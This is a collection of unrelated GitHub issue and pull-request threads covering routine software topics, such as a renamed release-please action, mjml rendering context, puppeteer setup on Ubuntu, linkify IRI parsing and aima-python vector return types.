The release-please GitHub action no longer works after the GitHub Organization URL was changed from google-github-actions to googleapis

Thanks for stopping by to let us know something could be better!
Steps to reproduce

Attempt to use the release-please GitHub action with - uses: google-github-actions/release-please-action@main
You will receive the following error Error: Unable to resolve action. Repository not found: google-github-actions/release-please-action

See https://github.com/googleapis/release-please-action/issues/980 for more context.
I have opened a PR to resolve this here: https://github.com/googleapis/release-please/pull/2287.

relevant issue from the action's repository: https://github.com/googleapis/release-please-action/issues/980


Feature Request: Configured rate_limits emit metrics

This would be helpful to allow you to easy observe if you are hitting your configured rate limits.

I'm thinking we'll have a counter for the number of times a rate limit is checked and another counter of the discrete times a rate limit gets activated.

Done https://github.com/Jeffail/benthos/commit/276e1d62574b6604bf2d03a31f479cd4f885bd29


Is it possible to generate context for renderChildren's renderer

Using the mjml apis, you can wrap your children with a custom renderer
this.renderChildren(children, {
  renderer: component => `<something>${component.render()}</something>`;
});

However, I have a use case where I want to do something specific for every child.
Is there way to create a context for each child which can be accessed in the renderer. Something like this
const children = children.map((child) => ({
  ...child,
  contextForRenderer: { ... }
}));

this.renderChildren(children, {
  renderer: component => `something with ${component.contextForRenderer}`
});

Does something like this already exist? I've gone through the source and don't really see anything like this so fully expecting this to be a feature request, in which case, happy to open a PR
The only thing I can think of is to pass context via the child.attributes object but that seems hacky because the context values aren't really used in the child

You can also define it simply in your renderer too :
this.renderChildren(children, {
renderer: component => {
const contextForRenderer = generateContextForChildren(component)
// do something with your context ?
return component.render()

}
});
On Fri, Oct 8, 2021 at 9:46 PM Maxime Brazeilles <
@.***> wrote:

IMO you can just set it as an attributes, there's no restriction over
attribute type in MJML API. Context in MJML case is a global object that
have document related attributes so I don't think this is what you want
here.

There no validation in the transpiling process, so it's good to go !
On Fri, Oct 8, 2021 at 10:00 PM Vidhu @.***> wrote:

Hmm, I'll probably stick to passing stuff through the attributes object. I
was worried about mjml raising validation errors.
I wont be able to do the second way
const contextForRenderer = generateContextForChildren(component)
since I need the index of the child to generate context.
I wont be able to use component.props.index as I'm passing only a subset
of the children through the this.renderChildren() function at a time
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/mjmlio/mjml/issues/2371#issuecomment-939084388, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AAELHTI3RNTYRKUKDCU5NGTUF5EVBANCNFSM5FUF3QIQ
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.


Hierarchical (HFSM)

It will be great to be able to make Hierarchical states: https://en.wikipedia.org/wiki/UML_state_machine#Hierarchically_nested_states

@a-komarev I like the idea of being able to do this. Do you have any ideas on how this would be implemented?

@Daveawb I've spent couple of days on research HFSM. Sadly I haven't found any working examples.
In most of the cases I asw that people who started to implement HFSM in project ended with Behaviour Tree solution. I didn't want such a complex solution so I've decided to refactor states to fit classical FSM schema.

@a-komarev I think this would be quite a bit of work to attempt to implement with an opinionated design. For the time being I would very much stick to classical FSM structures. You could potentially grab the underlying state graph and nest any other data structures on nodes (or vertices for transitions) but this would become very difficult to manage without a well defined interface for interactions on the nested structures. Thinking about it, to aid this handle / event handler methods could be expanded to allow for type resolution on arguments to make it more robust but still a lot of work would need to be done manually to facilitate this functionality.


Fix: Nav Bar Alignment, Spacing, and Overflow on Small Devices

Related Issue
Fixes:  #861
Description
The nav items is now properly aligned across all screen sizes.
The spacing between nav items is now consistent, maintaining a clean and organized look on smaller devices.
The nav bar adjust itself responsively to prevent any overflow, ensuring all nav items are visible without the need for horizontal scrolling.

Type of PR

[x] Bug fix
[x] Feature enhancement

Screenshots / videos (if applicable)
BEFORE:

AFTER:

Checklist:

[x] I have made this change from my own.
[x] My code follows the style guidelines of this project.
[x] I have performed a self-review of my own code.
[x] I have commented my code, particularly in hard-to-understand areas.
[x] I have made corresponding changes to the documentation.
[x] My changes generate no new warnings.
[x] I have tested the changes thoroughly before submitting this pull request.
[x] I have provided relevant issue numbers and screenshots after making the changes.

@Mohd-FaiZ-Jr Your pull request has been successfully merged! Don't stop here—continue contributing by addressing more issues and aiming to become a top contributor. Exclusive swag awaits for those who go the extra mile!
Great contribution ! 🎉


Running headless on ubuntu-server; error on startup

Title. I tried everything, currently using node.js 14.12. Using the most recent version of nvidia-snatcher (1.15.0)
This is what occurs when I run it:

It looks like puppeteer is looking fore Firefox >= 80.0 which isn't available on your system. While not related to your issue, try not to use sudo, it shouldn't be needed in this context. If you have no browsers installed, the following should work:
sudo apt install chromium-browser
export CHROME_BIN=/usr/bin/chromium-browser
export PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
export PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true
npm install
npm run start

It actually won't run unless I sudo.
could be a permissions thing

Did you try and run with PUPPETEER_PRODUCT="firefox" npm install?

After reinstalling without any usage of sudo, it seems to have resolved. Looking through the logs, it seemed that;
export PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true
is what helped with the error.
Thanks a bunch.


Taking Quickstart one step further for newbies

Assuming nixos-anywhere is and will be an entry point to Nix(OS) for many users (like me), it would be great to extend the Quickstart guide by one step.
I had a pretty flawless experience getting NixOS to run, but now I'm a bit stuck. Would be lovely to have a little guide on how to move on from here... That is, from the flake.nix I used to setup the server to some kind of (flake based) configuration to install a package, let's say. Flakes still being experimental makes it even more cumbersome, and it surely shouldn't be a documentation on flakes. Just a simple example setup, assuming the configuration will be held on the target server itself, to make it easy.
For example I'm wondering, can I use the setup flake as is on the target? Do I need to copy parts of it? The target at least needs to know about the boot loader configuration, right?
Probably I would be happy with a flake-less approach as well – I don't know yet; and I started the setup before the flake-less section was added to the docs.
Thank you!

See also #151

For example I'm wondering, can I use the setup flake as is on the target?  Do I need to copy parts of it?

Yes, you can use it as is - there's an example at the end of the quick start guide using nixos-rebuild and it's --target-host flag; which is probably the most conventional tooling.
You could also populate a configuration.nix with the same settings and modules as the config in your flake and rebuild that, but I don't think there's an automated way or even a detailed walk-through for beginners yet?
The myriad of options here make it hard to give good general guidance on how to deploy and maintain your NixOS systems in general, as nixos-anywhere is still just an installer after all :)

The target at least needs to know about the boot loader configuration, right?

Generally yes, but that should be included in your flake if you successfully installed nixos? ("Generally" b.c. there's things like boot.loader.external.enable where this would not apply)

The myriad of options here make it hard to give good general guidance on how to deploy and maintain your NixOS systems in general, as nixos-anywhere is still just an installer after all :)

Fully agree, but a “how to install your first package” would be a very valuable help.
Thanks for your input, will have a look!


Include .gitignore in blank template

When starting out a new project using blank template it's really frustrations that the current version of cli doesn't come with a
.gitingore file which is really helpfully

This is the same as #1036 which was supposed to have been fixed in #1084. But I am still seeing this file missing on the latest version of create-svelte.

this is weird as hell — it seems to be writing the file, but renaming it to .npmignore. i have no idea how this could be happening

ugh. apparently this is something that npm does when it packages things up, instead of, y'know, just interpreting the .gitignore as an .npmignore. how helpful.


Screen reader does not read that we have moved to the selection toolbar or the buttons within it

Screen reader does not read that vi have moved to the selection toolbar or the buttons within it

this one is a bit vague and unclear i think.
Here is why:

the selection toolbar in outside of table that we don't have any control on it (provided by nebula || provided by sense-client)
if we do so in any case, there is no 100% guaranty that we are exactly moving to the selection toolbar after tabbing out of the table , maybe user want's to click outside of the table while has some selections going on. we could not announce that you have moved to the selection tab while he/she may not

i think this one is a bit unclear and should be handled outside of the table not from inside of it, because simply we dont have access to the environment that table is going to be used (from inside of table)


Add option to dedent included content

Now, it's not possible to include a fragment of a Python docstring due to the docstring indent. This could be solved with a dedent argument, by default false.

Added in v2.7.0

Added in v2.7.0


Update CMakeLists.txt

64bit fix for Ubuntu; Not sure if it works with other debian based distro's this way. Without this dpkg complained about the architecture being x86_64.

Non-debian based systems don't have dpkg so it seems like this would break other versions of linux.

Ok, this should work on Debian based system and on others, but I could not test it for anything besides Ubuntu.


Idea

What feature do you want to get added on the base engine?
When Pressing F2 ( or whatever keybind set in settings) will activate the hey animation for bf
To test your sight, and reliability, please select the option of what should NOT be requested.
Stage Editor, 6K+ support, and winning icons.

Lua script

ok ig this is closed now

done


Is it possible to add project folder instead of opening a new window?

VSCode Version: Code 1.6.1 (9e4e44c19e393803e2b05fe2323cf4ed7e36880e, 2016-10-13T16:21:53.542Z)
OS Version: Windows_NT ia32 10.0.14393
Extensions: msjsdiag.debugger-for-chrome-2.0.0, pgourlain.erlang-0.0.9, robertohuertasm.vscode-icons-3.0.5

So that a single window could cover all projects we are working on. (similar to atom)

Not at the moment, feature request here - #13066


Prevent navigation links being clickable when mobile navigation is collapsed

Will resolve #312

  The mobile header nav is missing display:none when collapsed.  You can still click the menu links when it's collapsed.

Menu not working on Safari @bameyrick

Menu not working on Safari @bameyrick

Which version? Working fine on MacOS  and iOS for me.

@jrbarnes9 Found the issue, polyfills weren't loading for examples so I've resolved this.

@bameyrick Not working for me in Safari on iPhone 7 with Browserstack.

@jrbarnes9 Should be resolved now


Suggestion to simplify working with simple types

Hello. We use spring-zeebe, but extend it with additional annotations JobArg, JobResult for simplify working with simple types.
Maybe you want to have something similar?
It looks like this (kotlin):
  @UseAsZeebeWorker(type = "get-formatted-message-task-z")
  @JobResult("formattedMessageText")
  override fun getMessage(
    @JobArg("messageKey") messageKey: String
    @JobArg("format") format: String
  ): String {
      // body
      return formattedMessage;
  }

Why do you want to have a name in code that is different from a process variable name? This was discussed a couple of times in the past, and I still find this a source of confusion and haven't seen a really good use case for it ;-)
I don't get what JobArg does exactly?

Is it possible to name a process variable with one of the reserved java keywords?
What if someone declares a process variable name class, and I can't control the BPMN generation but only write the worker?
In general I see the point of wanting to name process variable in a way but reference in code in some other way.
@Variable("a-werid-name-someone-chose") String taskId

Why do you want to have a name in code that is different from a process variable name? This was discussed a couple of times in the past, and I still find this a source of confusion and haven't seen a really good use case for it ;-)
I don't get what JobArg does exactly?

The json property name is the contract, it is ap part your API. You are unlikely to want to change the contract by accident (e.g. during automatic refactoring)
com.fasterxml.jackson which is used to serialize  class objects allows setting specific json names (e.g. @JsonProperty("MyCustomName") I guess it's good practice to do it the same way.

I also think it's useful to be able to set the name of the result returned by the worker, like @JobResult("formattedMessage Text")

Why do you want to have a name in code that is different from a process variable name? This was discussed a couple of times in the past, and I still find this a source of confusion and haven't seen a really good use case for it ;-)
I don't get what JobArg does exactly?

The json property name is the contract, it is ap part your API. You are unlikely to want to change the contract by accident (e.g. during automatic refactoring)
com.fasterxml.jackson which zeebe-cient uses to serialize  class objects allows setting specific json names (e.g. @JsonProperty("MyCustomName") I guess it's good practice to do it the same way.

Yes our @JobArg it the same as @Variable only with a custom json name (we created it before the @Variable was added).
I also think it's useful to be able to set the name of the result returned by the worker, like @JobResult("formattedMessage Text")
@JsonProperty

It might even be better to use @JsonProperty instead of @Variable. But I'm not at all sure.

@Variable supports a variable name as parameter


Filter table by non-int foreign key results in error 'Could not interpret XXX as an integer'

When filtering a table on a foreign-key column in which the foreign key is not an integer, selecting a value from the choice dropdown results in an error: 'Could not interpret XXX as an integer'.

I see no obvious reason for why we should not just let the pk value through to django even if it is not an integer.

Agreed. I think we can just delete that code. I'm looking at it right now.

Pr: #524

Also: This looks like a duplicate: #493

This is fixed in 6.8.0.


extensions: run s3 integration tests against a local docker container

Part of #360

@ndr-brt if you can check the conflicts, I'll merge this.

@jimmarino done


Make code.google.org/p/codereply sync up with published version

This is related to #7 in that when I removed the copy of code.google.org/p/codesearch, everything broke as the version that's public doesn't have *Index.Close()
Should this library be forked or something like that so we can make the project go-gettable?

Thanks for looking into this. My plan was to move that out of code.google.com and into hound proper. I'll find a way to ask the golang folks if they have any interest in our changes. I'm assuming they don't. We definitely don't want to run Hound with the current codesearch code as it'll leak tons of address space. BTW, I'm totally under the gun for a few more days and then I hope to get a break to take care of some of these big issues.

@kellegous it looks like your commit fixed this?

What's the status of this?

Our fork of code.google.com/p/codesearch has been moved into hound/codesearch.


Add CODEOWNERS linter yml file to eng/common/pipelines

codeowners-linter.yml is going to be the pipeline yml file that'll run the linter. This is a unique pipeline in that it's the only yml file in eng/common that is a fully contained pipeline instead of a template that's included in other pipelines. This needs to be in common because, like github-actions, it needs to set the version of the CodeownersLinter to install in a common place that gets pushed out to the other repositories.
Because the trigger is set to none, this shouldn't get picked up by pipeline generation which is we want. Once this is pushed out to the other repositories I'll need to do the following:

Create their baseline files and get those checked in.
Create the pipeline for that repository. The pipeline will run daily and the triggers are setup to run when there are changes to the CODEOWNERS or baseline files as part of PRs. Since the linter requires data that's produced as part of the pipeline-owners-extractor run, the pipelines will be scheduled to run daily after that pipeline runs (which is 4am PST).

CODEOWNERS_baseline_errors.txt - This is baseline of deduped existing errors. The pipeline uses the baseline file to filter out existing errors otherwise it would start out failing. The baseline file is effectively there to prevent further bleeding but wouldn't prevent the same error from being added again (the unfortunate side effect of having to dedupe since we can't actually rely on errors per line number for obvious reasons).

The following pipelines have been queued for testing:java - templatejava - template - testsjs - templatenet - templatenet - template - testspython - templatepython - template - tests You can sign off on the approval gate to test the release stage of each pipeline. See eng/common workflow

The following pipelines have been queued for testing:java - templatejava - template - testsjs - templatenet - templatenet - template - testspython - templatepython - template - tests You can sign off on the approval gate to test the release stage of each pipeline. See eng/common workflow

The following pipelines have been queued for testing:java - templatejava - template - testsjs - templatenet - templatenet - template - testspython - templatepython - template - tests You can sign off on the approval gate to test the release stage of each pipeline. See eng/common workflow


feat(linkis-basedata-manager): Add ConfigurationTemplateRestfulApiTest unit tests

What is the purpose of the change
Add ConfigurationTemplateRestfulApiTest unit tests.
Brief change log

Add ConfigurationTemplateRestfulApiTest unit tests;

Checklist

[x] I have read the Contributing Guidelines on pull requests.
[ ] I have explained the need for this PR and the problem it solves
[ ] I have explained the changes or the new features added to this PR
[ ] I have added tests corresponding to this change
[ ] I have updated the documentation to reflect this change
[ ] I have verified that this change is backward compatible (If not, please discuss on the Linkis mailing list first)
[ ] If this is a code change: I have written unit tests to fully verify the new behavior.

Need to update the conflict file


Fix style of product type attributes empty table

I want to merge this change because... it displays just no attributes found message without table header when there are no attributes to display in the table.

PR intended to be tested with API branch:
Screenshots

Pull Request Checklist

[x] All visible strings are translated with proper context.
[x] All data-formatting is locale-aware (dates, numbers, and so on).
[x] Translated strings are extracted.
[x] Number of API calls is optimized.
[x] The changes are tested.
[x] Data-test are added for new elements.
[x] Type definitions are up to date.
[x] Changes are mentioned in the changelog.

Test environment config

API_URI=https://master.staging.saleor.rocks/graphql/

Task linked: SALEOR-1247 Broken table on product type view

Storybook seems to be in good condition too https://fix-product-type-attributes-empty-table.dashboard.saleor.rocks/storybook/index.html?path=/story/views-product-types-product-type-details--no-attributes

passed to QA


chore: add renovate to bump appVersion

what

Add renovate to bump appVersion

why

users use the appVersion to keep track of atlantis version so its important to keep it up to date

tests

references

https://docs.renovatebot.com/modules/datasource/
https://docs.renovatebot.com/presets-schedule/
https://github.com/gabe565/charts/blob/d15d62008e74e0ffaf95862696711427601bafa8/.github/renovate.json
https://github.com/gabe565/charts/blob/d15d62008e74e0ffaf95862696711427601bafa8/charts/borgmatic/Chart.yaml#L8
https://github.com/runatlantis/atlantis/blob/main/.github/renovate.json5

Hm there must be a misconfiguration because renovatebot is not detecting the new version or cannot properly replace the string
    "helm-values": [
      {
        "deps": [
          {
            "autoReplaceStringTemplate": "{{newValue}}{{#if newDigest}}@{{newDigest}}{{/if}}",
            "currentValue": "",
            "datasource": "docker",
            "depName": "ghcr.io/runatlantis/atlantis",
            "replaceString": "",
            "skipReason": "invalid-value",
            "versioning": "docker",
            "warnings": [],
            "updates": []
          },

https://app.renovatebot.com/dashboard#github/runatlantis/helm-charts/1014413103

Perhaps we can use this workaround instead https://github.com/renovatebot/renovate/issues/13968#issuecomment-1347546185


nd4j-jcublas depends on logback

Hi, is it possible to remove the dependency on logback? It creates a conflict with another framework I'm using.

Fixed.


Auto deploy new tagged releases to PyPI

This pull request implements automatic deployment of tagged commits to PyPI.
The upload is triggered by Travis-CI. See the documentation for more information on this feature.
For this purpose I have created a new PyPI user soco-bot, and added it as a maintainer for the soco project there. Please let me know if I should add additional email addresses to this user, to avoid being the single point of failure for recovering access to the account.
This change would (slightly) reduce the effort of doing a release, and would lower the entry barrier for doing so.

@stefankoegl looks great. What is the safety like for this functionality?

It essentially means everyone who can push to master can trigger a release. I did not see this as a concern, as we have gaven out permissions quite selectively anyway. Is this a concern for you, or do you see any other issues?


Annotated GQL Query Method has 2 tags but a different number of parameter values

{"timestamp":"2019-05-13T07:02:09.618+0000","status":500,"error":"Internal Server Error","message":"Annotated GQL Query Method findAllArticlesIdsForAuthor has 2 tags but a different number of parameter values: 1","path":"/articles/ids"}

mavenBom 'org.springframework.cloud:spring-cloud-gcp-dependencies:1.1.1.RELEASE'

public interface ArticlesRepository extends DatastoreRepository <Article, Long> {
List<Article> findArticleById(Long id);

@Query("select id, name, description from articles where author = @author")
List<Article> findArticlesByAuthor(@Param("author") Key author);

@Query("select id from articles")
List<Long> findAllArticlesIds();

@Query("select id from articles where author = @author")
Iterable<Long> findAllArticlesIdsForAuthor(@Param("author") Key author);

@Query("select id, name, description from articles")
Iterable<Article> findAllArticles();

}

@dmitry-s @ChengyuanZhao PTAL

@olgmaks Would you happen to be using this repository class query method from multiple threads at the same time?

@ChengyuanZhao yes. when bean scope=singleton and send many request the same time

I could not replicate the issue on the latest version. Looks like this issue was fixed there.

@olgmaks  , could you give 1.2.0.BUILD-SNAPSHOT a try?
I think this may be the same issue as https://github.com/spring-cloud/spring-cloud-gcp/issues/1610 .
What's happening is that we count the number of tags in the queries on first-use and there's like a singleton query method, so it gets counted multiple times.
We have this fixed in 1.2.0.BUILD-SNAPSHOT, but haven't ported it back to 1.1.x because it involved somewhat extensive rewriting of the query method class.
@meltsufin  (FYI the Spanner module does it a different way and didn't have this problem)

@olgmaks
I've merged the fix into the 1.1.x branch. It will appear in next releases of both 1.1 and 1.2 branches (we release with the Spring "release train") , but is also available in the BUILD-SNAPSHOT versions.


ASCII link inside unicode text without space

Perhaps this is an edge case, but I have the following test case, which currently fails.
    #[test]
    pub fn test_ascii_link_in_unicode() {
        let doc = "秋叶值波有88块送到您的账号了请您登录领取地址app6699.tv";
        let mut finder = LinkFinder::new();
        finder.url_must_have_scheme(false);
        let mut links =  finder.links(doc);
        let next = links.next().unwrap();
        let link = &doc[next.start..next.end];
        assert_eq!("app6699.tv", link);
    }

Generally IRIs are not widely used. May be IRIs support can be optional in LinkFinder?

I agree it is tricky, and yes, de.com is my desired behavior although it would not be correct in this case. I work with international short messages, many of which contains links, but they are all URI.  The chance of incorrectly parsed URI is higher than missed IRI in my case. I use a patched version (in company git) that implemented the expected behavior. I understand you don't want to support this use case, so I will continue using the patched version.
In any case -  great library!

Would your patch be simple to implement as an optional behavior that can be turned on/off? Maybe it would be good to include it.

Sure. I will make the patch configurable and submit a pull request

Thanks for doing the initial work, I've finished it and merged it now, to be included in the next release.

@serega Change released in version 0.10.0: https://github.com/robinst/linkify/blob/main/CHANGELOG.md#0100---2023-06-24


Orphaned function parameter blocks are sometimes not disabled

Create a function with one parameter.  If you just click once on the parameter name, this is interpreted as grabbing the block and dropping it immediately.  There seems to be a race condition or some other weird behavior here: sometimes the dropped block is disabled, but other times, it's not - leading to a top-level "x" expression in the program.  Dragging that block anywhere does cause it to become disabled.

Actually, this seems to be an issue for top-level blocks, as well.  Just clicking them once adds an enabled version to the workspace.

I'm also not sure exactly why this happens. For some reason the drag flag is still set when the block is placed. This seems to be the case when the block is spawned, but not yet moved.
I'm adding this as a note to come back later to.

IIRC, this orphan-disabling thing is a core blockly feature.  When you figure this out, you might consider contributing the fix upstream, as well.


[opentitantool] Add support for Ultradebug

Create an interface for the UART (ultradebug ftdi interface C).
Create an interface for GPIOs (ultradebug ftdi interface B).
Create an interface for SPI (ultradebug ftdi interface B).
Create an MPSSE command executor to drive SPI transactions.

Signed-off-by: Chris Frantz<EMAIL_ADDRESS>

Do we have documentation in the tree outlining the ultradebug protocol?

Do we have documentation in the tree outlining the ultradebug protocol?

There is no "ultradebug protocol" per se.  The ultradebug device is an FTDI FT4232H chip with a bit of extra glue logic for tristating certain pins, setting VREF and power control and monitoring.  The behavior of the extra glue logic is basically fixed - there's not any additional protocol to control that logic.
The code in this PR utilizes a pre-existing libftdi interface crate for communication with the FTDI chip and implements an MPSSE protocol module to facilitate SPI transactions.
The ultradebug device is a Google-only device.  I'm adding support for it because I'm familiar with its operation, so it provides a baseline for me and a mechanism to start developing SPI support in opentitantool (ie: there will be a follow-on PR that implements the SPI Flash protocol).  Google's platforms-team also has quite a few ultradebugs deployed in various labs, so there might be a use case for them.
Longer-term, we're planning a new debug dongle for use with OpenTitan.  The firmware for that device will be open and its protocols will be documented.


[DCGate][RT-5.9]: IPv6 Link Local generated by SLAAC

[DCGate][RT-5.9]: Create the test case of IPv6 Link Local generated by SLAAC

Pull Request Functional Test Report for #2759 / a3013ed58078247cfae3f5d99bf701f4c70eb9f7
Virtual Devices

Device
Test
Test Documentation
Job
Raw Log

Arista cEOS

RT-5.9: IPv6 Link Local generated by SLAAC
1b0025f2
Log

Cisco 8000E

RT-5.9: IPv6 Link Local generated by SLAAC
a0692cca
Log

Cisco XRd

RT-5.9: IPv6 Link Local generated by SLAAC
3386c5f2
Log

Juniper ncPTX

RT-5.9: IPv6 Link Local generated by SLAAC
5e5e8e9f
Log

Nokia SR Linux

RT-5.9: IPv6 Link Local generated by SLAAC
b17a246f
Log

Openconfig Lemming

RT-5.9: IPv6 Link Local generated by SLAAC
e0da5e66
Log

Hardware Devices

Device
Test
Test Documentation
Raw Log

Arista 7808

RT-5.9: IPv6 Link Local generated by SLAAC

Cisco 8808

RT-5.9: IPv6 Link Local generated by SLAAC

Juniper PTX10008

RT-5.9: IPv6 Link Local generated by SLAAC

Nokia 7250 IXR-10e

RT-5.9: IPv6 Link Local generated by SLAAC

Help

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Warning: This coverage report may be inaccurate.
This pull request's base commit is no longer the HEAD commit of its target branch. This means it includes changes from outside the original pull request, including, potentially, unrelated coverage changes.

For more information on this, see Tracking coverage changes with pull request builds.
To avoid this issue with future PRs, see these Recommended CI Configurations.
For a quick fix, rebase this PR at GitHub. Your next report should be accurate.

Details

0 of 0   changed or added relevant lines in 0 files are covered.
57 unchanged lines in 1 file lost coverage.
Overall coverage decreased (-0.07%) to 53.035%

Files with Coverage Reduction
New Missed Lines
%

topologies/binding/binding.go
57
41.85%

Totals

Change from base Build<PHONE_NUMBER>:
-0.07%

Covered Lines:
1730

Relevant Lines:
3262

💛  - Coveralls

@ming2004 I attempted to save review time by offering a few commits, moving files and updating the TestID. Please take a look.


PLUTO-683 - TCK: Contesting tests that invoke a ResourceURL that

was written to the response with BaseURL.write(Writer writer, boolean escapeXML) when passing escapeXML=true.  Fixes for filterResourceURL3 method.

Merged, thank you. :octocat: Sent from GH.


Incosistencies in return type of vectors in utils.py

The first function returns vector as tuple while the other as list.
Either both must return a tuple or a list.
def vector_add(a, b):
    """Component-wise addition of two vectors."""
    return tuple(map(operator.add, a, b))

def scalar_vector_product(X, Y):
    """Return vector as a product of a scalar and a vector"""
    return [X * y for y in Y]

Should I put a PR to resolve this?
What should these functions return?

I think the first function returns a tuple because the code that calls it requires the returned data to be hashable, maybe to store it in a set? I might be completely wrong, but this is a common problem in some parts of the repository. You would need to find out which parts of the codebase call this function.

Yeah, it is possible that it may depend on the code where it is used.
However, I think it shouldn't depend on how it is used.  Since it returns a vector, its type must remain same throughout the code. It will lead to future conflicts.
The user can manipulate its type outside the function as he wishes.
For e.g., if the above function returns a tuple, and the user wants a list, he can simply do
vec = vector_add(a, b)
vec = list(vec)

instead of changing the type in the function itself!
The main issue is that since both functions return vectors, both must be of the same type.

I'm not sure this should be messed with until we're certain exactly where
it's called. Consistency would be nice, but these functions are used widely
throughout the implementations. @ad71's point about hashing might be a
reason this is the way it is.
Aabir Abubaker Kar
Physicist, Mechanical Engineer, etc
On Wed, Mar 7, 2018 at 1:15 PM, Rahul Goswami<EMAIL_ADDRESS>wrote:

The first function returns vector as tuple while the other two as list.
Either all three must return a tuple or a list.
def vector_add(a, b):
"""Component-wise addition of two vectors."""
return tuple(map(operator.add, a, b))
def scalar_vector_product(X, Y):
"""Return vector as a product of a scalar and a vector"""
return [X * y for y in Y]
def scalar_matrix_product(X, Y):
"""Return matrix as a product of a scalar and a matrix"""
return [scalar_vector_product(X, y) for y in Y]
Should I put a PR to resolve this?
Also what should these functions return?
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/aimacode/aima-python/issues/819, or mute the thread
https://github.com/notifications/unsubscribe-auth/APwtiiEll64lFjcNEW_ToD3y6IhaddACks5tcCPOgaJpZM4Sg69k
.

I agree that consistency would be great. If you could find where the problematic functions are called, I would provide a more concrete answer. If the functions are called in code corresponding to pseudocode and it is required that they are of a certain type, then I am afraid it must stay as is to keep the code as close to the pseudocode. Otherwise, we can change the functions and then do casting as needed.

I have checked every usage of the above two functions (found their usages with PyCharm). I think the return type of vector_add() should be vector which is good. The following usage from P_motion_sample() verifies this:
pos = vector_add(pos, v)
return pos + (orient,)

However, there are no such usages of the scalar_vector_product()  that can verify it to be list, as far as I have checked. I couldn't find any example where it behaves like a list.
Same with this another function which returns list, but there's not any concrete usage to show its a list.
def element_wise_product(X, Y):
    """Return vector as an element-wise product of vectors X and Y"""
    assert len(X) == len(Y)
    return [x * y for x, y in zip(X, Y)]

If we change their return type to tuple, only changes we will have to make are in their tests.

Then sure, you can make a PR fixing this. Changing them to tuples is fine.

I tried to make these changes in the functions and tests, but some other tests were failed due to this. The differences were reflected in many (6) functions like
  def test_inverse_matrix():
>       assert rounder(inverse_matrix([[1, 0], [0, 1]])) == [[1, 0], [0, 1]]
E       assert [(1.0, 0.0), (0.0, 1.0)] == [[1, 0], [0, 1]]
E         At index 0 diff: (1.0, 0.0) != [1, 0]
E         Full diff:
E         - [(1.0, 0.0), (0.0, 1.0)]
E         + [[1, 0], [0, 1]]

It now seems that we will have to leave them the way they are to avoid more bugs.
So, now should I close this issue?

There must be a reason why these functions are a certain way. I think you can close the issue.


fix(core): allow explicit calls to purgeDefaultStorage to wipe the storage on each call

Merge after this one is merged: https://github.com/apify/apify-sdk-js/pull/223

new sdk version is out, so merging


Add support for using mutiple clients and Prysm

We currently support only installing Lighthouse, but support for multiple clients would be nice. Prysm should be our second client.

Nimbus support has been added with the recent commits.


[Request-for-external] table 77 "Report Selections" - GetEmailAddressIgnoringLayout

Can you change procedure GetEmailAddressIgnoringLayout to global in table 77 "Report Selections"?
I need to check if the email is going to be sent via job queue or directly.
Even better would be to get the lines marked with yellow in its own procedure and call that procedure instead..

Thanks for reporting this. We agree, and we’ll publish a fix asap, either in an update for the current version or in the next major release. Please do not reply to this, as we do not monitor closed issues. If you have follow-up questions or requests, please create a new issue where you reference this one.


Unable to edit style (color) of links sent in messages from user

Is your feature request related to a problem? Please describe.
There is currently no way to customize the style (color) of links in messages sent from a user. This lack of customization causes color contrast issues, and corresponding accessibility issues, when applying the dark themes from Azure Portal to the chat widget as seen below. There was a previous change that introduced this prop: receivedMessageAnchorStyles which enables style customizations for links sent from the bot/agent. Can a similar prop be introduced for links sent from a user?
Describe the solution you'd like
There should be a prop exposed to allow for style customizations for links sent from a user.
Describe alternatives you've considered
N/A
Screenshots

Any update on this?


Allow user to overwrite automatic hybrid GHP sizing

Allows the user to specify if the auxiliary unit is heating or cooling in hybrid GHP

@atpham88 Somewhat but not completely related, when I was testing this, I came across a case where if I selected "Heater", REopt produced a reasonable hybrid result, but if I selected "Cooler" ("Automatic" also selects a cooler in this case), REopt exited out of GhpGhx.jl after hitting the max number of iterations with some ridiculous result of 16,000 boreholes cause it didn't converge. GHP.ghpghx_chosen_outputs returned an empty dictionary. What would be the ideal behavior in this case? Do we want to throw an error message whenever we hit max iterations because that most likely indicates a convergence issue and just return a non-hybrid result?


Publish all versions to https://plugins.gradle.org/plugin/au.com.dius.pact

Hi, we are still using java 1.7 and only pact 2.x is compatible with java 7.
We can successfully generate pact files using pact 2.4.14, but we cannot use is in our gradle pactVerify step since only 2.2.12 is published to plugins.gradle.org.
Our current problem is that the decimal matcher was introduced after 2.2 and we cannot use it in our verification step.
the stacktrace snipped looks like this:
     Request Failed - decimal (of class java.lang.String)
scala.MatchError: decimal (of class java.lang.String)
	at au.com.dius.pact.matchers.Matchers$.matcher(Matchers.scala:61)
	at au.com.dius.pact.matchers.Matchers$.domatch(Matchers.scala:49)
	at au.com.dius.pact.matchers.JsonBodyMatcher.compareValues(JsonBodyMatcher.scala:128)
	at au.com.dius.pact.matchers.JsonBodyMatcher.compare(JsonBodyMatcher.scala:55)

Is it possible to publish other versions to the gradle plugin portal?
Is there any other workaround (other than generating our pact files with 'real' instead of 'decimal')?

Sure, I'll push the latest 2.x version.
On 18 August 2016 at 06:03, Ricardo Cavalcanti<EMAIL_ADDRESS>wrote:

Hi, we are still using java 1.7 and only pact 2.x is compatible with java
7.
We can successfully generate pact files using pact 2.4.14, but we cannot
use is in our gradle pactVerify step since only 2.2.12 is published to
plugins.gradle.org.
Our current problem is that the decimal matcher was introduced after 2.2
and we cannot use it in our verification step.
the stacktrace snipped looks like this:
 Request Failed - decimal (of class java.lang.String)

scala.MatchError: decimal (of class java.lang.String)
at au.com.dius.pact.matchers.Matchers$.matcher(Matchers.scala:61)
at au.com.dius.pact.matchers.Matchers$.domatch(Matchers.scala:49)
at au.com.dius.pact.matchers.JsonBodyMatcher.compareValues(JsonBodyMatcher.scala:128)
at au.com.dius.pact.matchers.JsonBodyMatcher.compare(JsonBodyMatcher.scala:55)
